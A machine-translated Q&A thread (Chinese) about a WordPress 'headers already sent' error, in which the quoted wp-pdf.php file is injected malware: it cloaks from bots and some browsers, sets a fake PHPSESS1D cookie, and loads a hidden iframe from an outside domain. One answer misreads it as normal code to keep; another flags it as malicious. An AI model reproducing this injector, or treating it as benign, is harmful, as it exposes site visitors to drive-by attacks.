无法解决的经典错误消息:无法修改标题信息 - WordPress

时间:2012-04-18 20:57:15

标签: wordpress header

我知道这是一个经典之作:我有来自Wordpress的错误消息:

  

警告:无法修改标头信息 - 已在/ home / quanscom / public_html / blog / wp-includes / feed中发送的标头(在/home/quanscom/public_html/blog/wp-pdf.php:8中开始输出)第8行的-rss2.php

我知道这通常来自垃圾空间或文件中的一行,但这次似乎有所不同。

我一直在关注所有这些链接:

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

尤其是这一个:

http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent

但一切都没有改变。正如在上一个链接中所建议的那样,我已经用原始文件替换了这两个文件,但没有任何改变。 请问任何人都能看到一双新鲜的眼睛吗? 谢谢,你会找到以下两页:

wp-pdfphp:

    <?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
   !@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
    if (!is_feed()) {
        echo '<script type="text/javascript">
                d=new Date();
                d.setDate(d.getDate()+1);
                document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
                </script>';
        echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
    }
}
?>

feed-rss2.php:

<?php
/**
 * RSS2 Feed Template for displaying RSS2 Posts feed.
 *
 * @package WordPress
 */

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    <?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.

2 个答案:

答案 0 :(得分:1)

在第8行的wp-pdf.php文件中,您有一个echo语句。在feed-rss2.php中你有一个header()函数,它基本上试图设置响应的头。由于输出已经在wp-pdf.php文件中发生,因此您收到此错误。

要解决此问题,您可以使用此条件包含echo语句。

if (!is_feed()) {
    // your echo statement here
}

答案 1 :(得分:0)

仔细看看wp-pdf.php文件代码,它对我来说有点恶意。它将您网页上隐藏的iframe包含在一个看起来非常恶意的域中。此外,代码还会检查页面是否由搜索引擎引用。

我知道你继承了这段代码。你能告诉我这个文件存在的完整路径吗?

修改

我认为您可以删除wp-pdf.php文件。当您删除它时,它可能会在最初包含它的位置生成另一个错误。您也可以去那里删除参考。